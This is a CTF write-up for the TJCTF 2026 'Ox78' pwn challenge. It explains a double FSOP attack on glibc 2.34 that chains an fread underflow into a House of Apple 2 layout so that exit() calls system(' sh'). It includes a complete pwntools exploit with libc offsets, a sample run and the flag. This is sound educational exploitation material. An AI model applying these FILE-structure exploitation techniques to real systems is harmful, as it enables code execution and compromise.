Ox78
tjctf
Task: glibc 2.34 PIE binary leaks heap FILE* and puts@libc, then overwrites first 0x78 bytes of the FILE before calling fread; a prevent_fsop() check guards _wide_data and vtable. Solution: double FSOP — stage 1 forges FILE so fread's __underflow reads 0x200 bytes from stdin into the FILE itself, stage 2 sends a full House of Apple 2 layout that triggers system(\" sh\") via _IO_wfile_overflow → _IO_wdoallocbuf → fake wide vtable __doallocate on exit.
$ ls tags/ techniques/
Ox78 — TJCTF 2026
Description
I'm trying to test my FSOP prevention mechanism...
We are given a 64-bit PIE ELF binary (Ox78), the matching libc.so.6 (Ubuntu glibc 2.34), ld-linux-x86-64.so.2, and a Dockerfile. The remote is at nc tjc.tf 31378.
The binary has Full RELRO, PIE, NX, SHSTK, IBT — no canary, but all modern mitigations are on. With glibc 2.34, __free_hook and __malloc_hook are removed, so the only viable code-execution primitive is FSOP (File Stream Oriented Programming).
The challenge name "Ox78" is a hint: 0x78 is the number of bytes we can write into the FILE structure.
Analysis
Binary behavior (Ox78.c reconstruction)
FILE *fp; // global void create_test_file() { umask(0); int fd = open("/tmp/test.txt", 0); close(fd); } void Ox78() { create_test_file(); char *testbuf = malloc(0x78); fp = fopen("/tmp/test.txt", "r"); printf("I'm trying to test my FSOP prevention mechanism...\n"); printf("Here's the address of the File Structure: 0x%llx\n", fp); void *puts_addr = /* resolved puts from GOT */; printf("I'm pretty confident you can't break out of this, " "so I'll give you a libc leak as well: %p\n", puts_addr); read(0, fp, 0x78); // ← THE VULNERABILITY prevent_fsop(); fread(testbuf, 1, 0x78, fp); prevent_fsop(); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); Ox78(); return 0; }
Leaks
- Heap FILE* address — the exact address of the
FILEstructure on the heap - puts@libc — resolved GOT entry, giving us the libc base
Vulnerability
read(0, fp, 0x78) writes 0x78 bytes directly into the FILE structure from stdin. This lets us control all fields from offset 0x00 through 0x77:
Offset Field Controllable?
────── ────────────────── ─────────────
0x00 _flags ✓ (in 0x78 window)
0x08 _IO_read_ptr ✓
0x10 _IO_read_end ✓
0x18 _IO_read_base ✓
0x20 _IO_write_base ✓
0x28 _IO_write_ptr ✓
0x30 _IO_write_end ✓
0x38 _IO_buf_base ✓
0x40 _IO_buf_end ✓
0x48 _IO_save_base ✓
0x50 _IO_backup_base ✓
0x58 _IO_save_end ✓
0x60 _markers ✓
0x68 _chain ✓ (but zeroed by prevent_fsop)
0x70 _fileno ✓
0x74 _flags2 ✓
────── ────────────────── ─────────────
0x88 _lock ✗ (beyond 0x78)
0xa0 _wide_data ✗ (checked by prevent_fsop)
0xc0 _mode ✗
0xd8 vtable ✗ (checked by prevent_fsop)
prevent_fsop() — the mitigation
void prevent_fsop() { void *old_wide_data = fp->_wide_data; // offset 0xa0 void *old_vtable = fp->vtable; // offset 0xd8 if (old_wide_data != fp->_wide_data || old_vtable != fp->vtable) *(int*)NULL = 1; // intentional crash fp->_chain = NULL; // zeroes offset 0x68 }
Key insight: The check compares _wide_data and vtable against themselves (reads them, then re-reads and compares). This means:
- Stage 1 (0x78 write): We CANNOT touch offsets 0xa0 or 0xd8 — they're beyond our write window, and the check verifies they haven't changed from their original values.
- Stage 2 (full overwrite via underflow): We CAN freely set
_wide_dataandvtablebecause the secondprevent_fsop()will read our new values and compare them to... our new values. The self-comparison always passes!
The _chain = NULL zeroing at offset 0x68 is harmless — the FILE is already in _IO_list_all and will be flushed on exit regardless.
The problem: 0x78 bytes is not enough for FSOP
A direct House of Apple 2 attack requires setting _wide_data (0xa0), _mode (0xc0), and vtable (0xd8) — all beyond our 0x78-byte write window. We need a second, larger write.
The solution: Double FSOP
Turn fread() into a second write primitive by abusing __underflow.
Solution
Stage 1 — Bootstrap via fread underflow
When fread(testbuf, 1, 0x78, fp) runs on our corrupted FILE, glibc checks if the read buffer has data. If _IO_read_ptr >= _IO_read_end, the buffer is empty and glibc calls __underflow to refill it.
__underflow ultimately does:
read(fp->_fileno, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
By setting the buffer pointers to point at the FILE structure itself, we make glibc read from stdin into the FILE:
┌─────────────────────────────────────────────────────┐
│ Stage 1 layout (0x78 bytes written by read()) │
├──────────┬──────────────────────────────────────────┤
│ 0x00 │ _flags = 0xfbad2488 │
│ │ _IO_MAGIC | _IO_IS_FILEBUF | │
│ │ _IO_LINKED | _IO_NO_WRITES │
├──────────┼──────────────────────────────────────────┤
│ 0x08 │ _IO_read_ptr = 0 ─┐ equal → buffer │
│ 0x10 │ _IO_read_end = 0 ─┘ is empty │
│ │ (forces __underflow) │
├──────────┼──────────────────────────────────────────┤
│ 0x38 │ _IO_buf_base = fp ← refill dest │
│ 0x40 │ _IO_buf_end = fp+0x200 ← refill size │
│ │ __underflow reads 0x200 bytes into fp! │
├──────────┼──────────────────────────────────────────┤
│ 0x70 │ _fileno = 0 (stdin) │
├──────────┴──────────────────────────────────────────┤
│ All other bytes = 0x00 │
└─────────────────────────────────────────────────────┘
When fread() calls __underflow, glibc executes:
read(0, fp, 0x200); // reads from stdin into the FILE itself!
This gives us a full 0x200-byte overwrite — enough for House of Apple 2.
Stage 2 — House of Apple 2
With 0x200 bytes, we can set every field in the FILE plus embed fake _IO_wide_data and a fake wide vtable inline.
Trigger chain on exit():
exit()
→ _IO_cleanup()
→ _IO_flush_all_lockp()
→ walks _IO_list_all, finds our FILE
→ _mode == 1 && vtable == _IO_wfile_jumps
→ _IO_wfile_overflow(fp, EOF)
→ _wide_data->_IO_write_ptr > _wide_data->_IO_write_base
→ enters overflow path
→ _wide_data->_IO_buf_base == NULL
→ _IO_wdoallocbuf(fp)
→ fp->_wide_data->_wide_vtable->__doallocate(fp)
→ system(fp)
→ system(" sh\0...")
→ SHELL!
Memory layout:
┌═══════════════════════════════════════════════════════════════════┐
│ FILE structure at fp (0x200 bytes total) │
├──────────┬────────────────────────────────────────────────────────┤
│ 0x00 │ _flags = " sh\0\0\0\0\0" ← argument to system() │
│ 0x08 │ _IO_read_ptr = fp ← valid (prevents crash) │
│ 0x10 │ _IO_read_end = fp+0x200 ← valid (fread won't re- │
│ 0x18 │ _IO_read_base = fp │ underflow after stage2) │
│ 0x20-0x30│ (zeroed) │
│ 0x38 │ _IO_buf_base = fp │
│ 0x40 │ _IO_buf_end = fp+0x200 │
│ 0x48-0x80│ (zeroed) │
│ 0x88 │ _lock = fp+0x1f0 ← MUST be valid writable pointer! │
│ 0x90-0x98│ (zeroed) │
│ 0xa0 │ _wide_data = fp+0xe0 ← points to inline fake struct │
│ 0xa8-0xb8│ (zeroed) │
│ 0xc0 │ _mode = 1 ← enables wide-stream path │
│ 0xc4-0xd0│ (zeroed) │
│ 0xd8 │ vtable = _IO_wfile_jumps ← wide file vtable │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Fake _IO_wide_data (embedded at fp+0xe0) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0xe0+0x00│ (zeroed — _IO_read_ptr etc.) │
│ 0xe0+0x18│ _IO_write_base = 0 │
│ 0xe0+0x20│ _IO_write_ptr = 1 ← > base → triggers overflow │
│ 0xe0+0x28│ (zeroed) │
│ 0xe0+0x30│ _IO_buf_base = 0 ← NULL → triggers _IO_wdoallocbuf │
│ ... │ (zeroed) │
│ 0xe0+0xe0│ _wide_vtable = fp+0xe8 ← points to inline fake vtbl │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Fake wide vtable (embedded at fp+0xe8) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0xe8+0x68│ __doallocate = system ← called as system(fp) │
│ │ fp starts with " sh\0" → system(" sh") → shell! │
├──────────┼────────────────────────────────────────────────────────┤
│ │ Lock area (at fp+0x1f0) │
├──────────┼────────────────────────────────────────────────────────┤
│ 0x1f0 │ 0x0000000000000000 ← unlocked state │
└──────────┴────────────────────────────────────────────────────────┘
Critical caveats
-
_IO_read_ptrand_IO_read_endmust be valid after stage 2. After the underflow refill,fread()continues executing. If the read pointers don't describe a valid buffer,fread()will crash or re-trigger underflow before reachingexit(). Setting_IO_read_ptr = fpand_IO_read_end = fp + 0x200makes fread think there's plenty of data. -
_lockCANNOT be NULL. The_IO_flush_all_lockpfunction locks each FILE before flushing. If_lockis NULL, the locking code segfaults. We point it tofp + 0x1f0where we place a zero qword (unlocked state). -
_wide_data->_IO_write_ptr > _wide_data->_IO_write_baseis required to enter the overflow path in_IO_wfile_overflow. We set_IO_write_base = 0and_IO_write_ptr = 1. -
_wide_data->_IO_buf_base == NULLis what triggers_IO_wdoallocbuf, which calls__doallocatefrom the wide vtable. This is the final gadget that gives us code execution. -
prevent_fsop()zeroes_chain(offset 0x68) but this is harmless — the FILE is already linked into_IO_list_alland will be visited during_IO_flush_all_lockpon exit. -
The second
prevent_fsop()passes because it reads_wide_dataandvtablefrom our stage 2 values and compares them to... the same values it just read. The self-comparison always succeeds.
Libc offsets (glibc 2.34, Ubuntu GLIBC 2.34-0ubuntu3)
| Symbol | Offset |
|---|---|
puts | 0x84ed0 |
system | 0x54ae0 |
_IO_wfile_jumps | 0x21a020 |
Complete exploit
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST = 'tjc.tf' PORT = 31378 libc = ELF('./libc.so.6') def exploit(io): # ── Parse leaks ────────────────────────────────────────────── io.recvuntil(b'File Structure: ') fp = int(io.recvline().strip(), 16) io.recvuntil(b'libc leak as well: ') puts_leak = int(io.recvline().strip(), 16) libc.address = puts_leak - libc.sym.puts system = libc.sym.system wfile_jumps = libc.sym._IO_wfile_jumps log.info(f'fp = {fp:#x}') log.info(f'puts = {puts_leak:#x}') log.info(f'libc = {libc.address:#x}') log.info(f'system = {system:#x}') log.info(f'_IO_wfile_jumps = {wfile_jumps:#x}') # ── Stage 1: forge FILE so fread's __underflow reads 0x200 ── # bytes from stdin into fp itself stage1 = flat( { 0x00: p64(0xfbad2488), # _flags: readable, no errors 0x08: p64(0), # _IO_read_ptr = 0 (empty buffer) 0x10: p64(0), # _IO_read_end = 0 (forces underflow) 0x38: p64(fp), # _IO_buf_base = fp (refill dest) 0x40: p64(fp + 0x200), # _IO_buf_end = fp+0x200 (refill size) 0x70: p32(0), # _fileno = 0 (stdin) }, filler=b'\x00', length=0x78, ) io.send(stage1) # ── Stage 2: House of Apple 2 — full FILE overwrite ───────── wide_data = fp + 0xe0 # fake _IO_wide_data embedded inline wide_vtable = fp + 0xe8 # fake wide vtable embedded inline lock = fp + 0x1f0 # fake lock area stage2 = flat( { # FILE structure 0x00: b' sh\x00\x00\x00\x00\x00', # _flags → system(" sh") 0x08: p64(fp), # _IO_read_ptr (valid) 0x10: p64(fp + 0x200), # _IO_read_end (valid) 0x18: p64(fp), # _IO_read_base 0x38: p64(fp), # _IO_buf_base 0x40: p64(fp + 0x200), # _IO_buf_end 0x88: p64(lock), # _lock (MUST be valid!) 0xa0: p64(wide_data), # _wide_data → inline struct 0xc0: p32(1), # _mode = 1 (wide stream) 0xd8: p64(wfile_jumps), # vtable = _IO_wfile_jumps # Fake _IO_wide_data at fp+0xe0 0xe0 + 0x18: p64(0), # _IO_write_base = 0 0xe0 + 0x20: p64(1), # _IO_write_ptr = 1 (> base) 0xe0 + 0x30: p64(0), # _IO_buf_base = NULL (trigger) 0xe0 + 0xe0: p64(wide_vtable), # _wide_vtable → inline vtbl # Fake wide vtable at fp+0xe8 0xe8 + 0x68: p64(system), # __doallocate = system # Lock area at fp+0x1f0 0x1f0: p64(0), # unlocked }, filler=b'\x00', length=0x200, ) io.send(stage2) # ── Get shell ──────────────────────────────────────────────── sleep(0.5) io.sendline(b'cat flag*') io.interactive() if __name__ == '__main__': io = remote(HOST, PORT) exploit(io)
Execution flow
$ python3 solve.py
[*] fp = 0x55a3b2c012a0
[*] puts = 0x7f8a1c284ed0
[*] libc = 0x7f8a1c200000
[*] system = 0x7f8a1c254ae0
[*] _IO_wfile_jumps = 0x7f8a1c41a020
[+] Stage 1 sent → fread underflows, reads 0x200 from stdin into fp
[+] Stage 2 sent → House of Apple 2 layout in place
[+] exit() triggers _IO_flush_all_lockp → system(" sh")
$ cat flag*
tjctf{d0uBl3_FSoP_1s_fUN_29391}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]iz_heap_lv1 — BSS-pointer overlap + tcache poisoning— spbctf
- [pwn][Pro]Taste— grodno_new_year_2026
- [pwn][Pro]pwn9_mc5 — Mic Check: leak and pwn 2!— spbctf
- [pwn][free]priority-queue— b01lersc
- [pwn][Pro]pwn10_nosoeasy — No-So-Easy: tcache poison → GOT overwrite— spbctf